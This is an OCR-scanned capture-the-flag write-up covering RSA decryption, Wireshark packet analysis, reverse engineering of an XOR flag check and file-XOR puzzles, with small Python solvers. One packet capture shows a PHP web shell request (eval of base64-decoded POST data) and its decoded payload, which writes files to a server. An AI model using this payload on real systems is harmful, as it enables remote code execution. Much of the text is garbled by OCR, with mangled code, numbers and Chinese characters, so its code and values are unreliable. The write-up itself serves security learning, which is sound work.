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n=86934482296048119190666062003494800588905656017203025617216654058378322103517
e=65537
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g = 304008741604601924494328155975272418463
p = 285960468890451637935629440372639283459
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d = 81176168860169991027846870170527607562179635470395365333547868786951080991441
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hex_num = 0x4196c0594a5e000a96b878be7cd72 R 2 ca54da06d0f19c28be689b62

mf= pow(hex_nurri,d,n)
print{m)
printChex(m))
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3. pcap A RicxHK & H
#<?phpIR BN —AERIRAZBE, FTLERRERRH404E RidFk, BEHIPR172.17.0.1

[n |Apply a dizplay filter = Ctrl-/»

[HEETIR v EE - O EZHE EMiFEiA v |
Ha. Time Source Destination Frotocol Length Info
i 7935 49.446390 172.17.9.1 a B i o e HTTP 372 GET flocalsettings.php~ HTTP/1.1
! 7936 49.446576 172.17.90.3 A P Tl L B HTTP 581 HTTP/1.1 484 Not Found (text/ht
7937 49.4480854 172.17.9.1 172.17.8.3 HTTP 357 GET /log HTTP/1.1
7938 49.448195 172.17.0.3 172.17.0.1 HTTP 566 HTTP/1.1 484 Not Found (text/ht
b 7939 49.458992 172.17.0.1 a b B bl s HTTP 368 GET /log-in HTTP/1.1
! 7948 49.451176 172.17.0.3 172.17.0.1 HTTP 569 HTTP/1.1 484 Not Found (text/ht
! 7941 A9.453572 172.17.0.1 a b B bl s TCP 66 58658 -+ 80 [ACK] Seq=3288 Ack=55
! 7942 49.453918 1i72.17.0.1 172.17.0.3 HTTP 361 GET /log-in/ HTTP/1.1
! 7943 49.454848 172.17.0.3 a b B bl i g HTTP 578 HTTP/1.1 484 Not Found (text/ht
7944 49.454914 1i72.17.0.1 172.17.0.3 HTTP 361 GET /Log-in/ HTTP/1.1
7945 49. 455855 172.17.0.3 a b B bl i g HTTP 578 HTTP/1.1 484 Not Found (text/ht
| 7946 49.457469 1i72.17.0.1 172.17.0.3 HTTP 361 GET /Log-In/ HTTP/1.1
<
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27342 1360.918132 172.17.0.3
27343 1360.919681 192.168.1.184
27344 1368.926153 192.168.1.184
27345 1360.926185 172.17.60.3
27346 1361.083959 172.17.6.3
27347 1361.084018 172.17.9.3
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Host: blogs.wulnspy.com
Connection: keep-alive
Content-Length: 188
Cache-Control: max-age=@
Upgrade-Insecure-Requests: 1
Origin: null

DNT: 1
Accept-Encoding: gzip, deflate

Content-Type: application/x-wni-form-urlencoded
User-Agent: Mozilla/5.8 (MSIE 108.8; Windows NT 6.1; Trident/5.8)
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/webp,image/apng,*/*;q=0.1

Accept-Language: en,zh-CN;q=8.9,zh;q=8.8
Cookie: pmaCookieVer=5; pma_lang=en; pma_collation_ connection=utf8mbd unicode ci;
phpMyAdmin=1imt/nk3bsgcdroifd2b/n/hffdgqgdju
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74 88 - 52865 [SYN, ACK] Seq=0 Ack=1 Win=2896@ Len=8 MSS=1468 SA
66 52065 + 80 [ACK] Seq=1 Ack=1 Win=262144 Len=0 TSval=2675172 T
1260 GET /pma/sql.php?db=mysql&table=user&sql_query=SET¥2@password
66 88 - 52865 [ACK] Seq=1 Ack=1195 Win=31872 Len=0 TSval=4402875
2962 88 - 52065 [ACK] Seq=1 Ack=1195 Win=31872 Len=2896 TSval=4482
2962 8@ - 52065 [ACK] Seq=2897 Ack=1195 Win=31872 Len=2896 TSval=4
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</form></dive</div></body></html>P0OST /pma/index.php HTTP/1.1

pma_username=root&pma_password=Eﬂ§ﬂ&server=1&target=index.php&token=ec162363b1783988588e8529

A RPOSTRAEMBEERER A MT/FH, PrUlFLAGHZIRRE B 12304 A p 1% 2 CWE-352_2018-06-15
09:18:29fMD55}# CWE-352_2018-6-15 09:40:12)md5%; 3¢
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int _ cdecl main(int argc, const char **argv, const char **envp)
{

char *v3; // rsi

int result; // eax

signed int i; // [rsp+2Ch] [rbp-124h]

char v6[264]; // [rsp+46h] [rbp-110h]

__inte4 v7; // [rsp+148h] [rbp-8h]

memset(v6, @, 0x100uLL);
v3 = (char *)256;
printf("Input your flag:\n", OLL);
get_line(v6, ©x100u);
if ( strlen(ve) != 33 )
goto LABEL_12;
for (1 =1; 1 < 33; ++1 )
v6[i] ~= v6[i - 1];
v3 = global;
if ( !strncmp(ve, global, ©x21ulLL) )
printf("Success", v3);

else
LABEL_12:
printf(“Failed", v3);
result = _ stack_chk_guard;

if ( __stack_chk_guard == v7 )
result = 0;
return result;

R HAREXORN B, —FL33 K747 8B B3 7 BRAT T —hr, REGHERFREDT

;org 186eeareEh

IDGH db "' ,@Ah ; DATA XREF: _ data:_global
db "k’,@Ch, 'wk0.@',11h, 'x",8Dh, "Z;U’,11h, 'p",1%h, 'F',1Fh, "v"M#D" ,8Eh, 'g"
db &,"h",8Fh, 'G20",0
ag db "Input your flag:',8Ah,8
; DATA XREF: _main+
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__author__="vpandaxj1|’
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for 1 in range(33):
i1
if type(L[i]) !'= int:
ASCIT_NUM = ord(L[1])
else:
ASCIT_NUM = L[i]
if type(L[i-1]) '= int:
ASCIT_MNUM_BACK = ord{(L[i-11)
else:
ASCII_NUM_BACK

L[i - 1]

print{chr{ASCII_NUMAASCII_NUM_BACK),end="")

test

C:\Pyth 2 rs/vpanda/OneDrive/workspace/Python
Tag{Qia Hu}
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aa=@eval.
(base6d_decode($_POST[actien]));&action=0GluaV9zZXQoImRpc3BsYX1FZXIyb3]1zIiwiMCIp0@BzZXRFdG1tZVIsalllpdCowkTtAC2VOX21hZ21jX3F1b3R1c19ydW50alW11KDARPO2V]aGBoli0%2B+CIp0z
skZFLiYXNINFRFZGVib2R1KCRFUEITVFsiejEIXSk7IGMIIFOQTINUMyI6MiIdOyRIPXNOC19yZXBsYWNIKCIcciIsIiTsJGMpOyRjPXNOCc19yZXBsYWNIKCIcbiIsIiIsIGMpOyRidWYSTiI7Zm9yKCRpPTA7IGKkEC3
RybGVuUKCRIKTskaSs9MikkYnVmLj11cmxk ZWNvZGUoIiUiLnN1YnNBcigkYywkaSwyKSk7ZWNobyhAZndyaXR1KGZvcGVuKCRmLCI3TiksJGI1Zik%2FIJEi0iIwlik702V]jaG8oInw8LSIp02RpZSgpOw3D
%3D&z1=RDpcd2FtcDYBXHd3d1x1cGxvYWRCNFY2Ni5qcke
%3D&z2=-FFD8FFEQGO1084A46404600010101007800730000FFDBOO430001010161010101010101616101010161010101010101010101610161016101010101610161010101010101016101610161010101616
101810101010101010101FFDBR430101010161010101016101010101010101010101010101610101010101010101010101010101010101010101016101010101018101010101010101010101010181FFCO0
@81168013901E2030122000211016031101FFC4001FE00601050101810101081066000800000000081626304850687058690A0BFFC400E5100002010303020403050504040800017D016203000411685122131418
613516107227114328191A1082342B1C11552D1F82433627282090A161718191A25262728292A3435363738393A434445464748494A535455565758595A636465666768696A737475767778797A838485868
788898A92939495969798999AA2A3A4A5ABATABASAAB2B3B4B5B6B7B8BIBAC2C3CAC5CHCTCECICAD2D3D4D5D6D7D8DIDAELE2E3EAESEGEVESEOEAFLF2F3FAFSFEF7F8FSFAFFCARO1FR100030101010101010
101610600000000000102030405060703690A0BFFC406B51100020102040403040705040400016277600162031104852131061241510761711322328108144291A181C169233352F0156272018A162434E12
5F11718191A262728292A35363738393A434445464748494A535455565758595A636465666768696A737475767778797A82838485868788898A92939495969798999AA2A3A4A5A6AT7ABA9ANB2B3B4B5B6E7B
8B9BAC2C3C4C5C6CTC8CICAD2D3DADSDED7DEDIDAE2E3EAESERE7EBEIEAF 2F3FAFSFEF7FBFIFAFFDABRACE3018002110311003FOOFC18823DB907E62481211D06493F86143D914E012BCF5E30856C4310192E
7DBCCAREFFC30478E3BODFFOBFDBF352DA3DBEOAFO769F2C1FFR0964839699CF3866C9C11CF/19E33ADEF1B7C840EBI30AB71C67207327BBC1D99ECOE32179FF49A8CY5F376FFR@2FBIDFADIBEESDEBEDFES

ENT7OCE ARBDINAABCDCAASALFDLANE ACCENAI0TIAFAATAIARII0ON0AM A IAA4 FEAIACINATCEINNSOLIICACEAY IAOAFACTIFCLSACrA31 ATMRIANI ICITICTINANCADTOr 71 ANARDANRT 1A S ARCINCANRFFANCEIAICAL

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-
>|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",%$c);$
buf="";for($i=0;%$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1
":"0");5echo("|<-");sdie();

Date: Fri, 88 Dec 2817 11:42:11 GMT
Server: Apache/2.4.23 (Win64) PHP/5.6.25
X-Powered-By: PHP/5.6.25

Content-Length: 221

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

->|./ 2017-12-88 11:42:11 © 8777
s 2017-12-88 11:39:18 48%6 8777
1.php 2017-12-68 11:33:16 33 Bebb
bbbb.jpg 2017-12-88 11:42:11 182236 Bebb
flag.txt 2617-12-88 11:35:29 17 Bebb
hello.zip 2817-12-88 89:32:36 224 Bobb
[i==

Frame 1868: 50833 bytes on wire (48264 bits), 5833
Interface id: @ (eth@)
Encapsulation type: Ethernet (1)
Arrival Time: Dec 8, 20817 19:42:88.900165639 F
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d = r'test_file/™

cipher = open(d+"E¥.txt","'r').read()

key_file = open(d+"key.txt',"'r').read(}

flag="""

for i in range(len(cipher)):
cipher_ascii=ord({cipher[i])aord(key_file[i])
flag = flag + chr(cipher_ascii)

print(flag)

for i in range(len(cipher])

& CTFREE »
' C:\Python37\python.exe C:/Users/vpanda,/OneDrive/worl
1 ag{ealbc09339922?6de}
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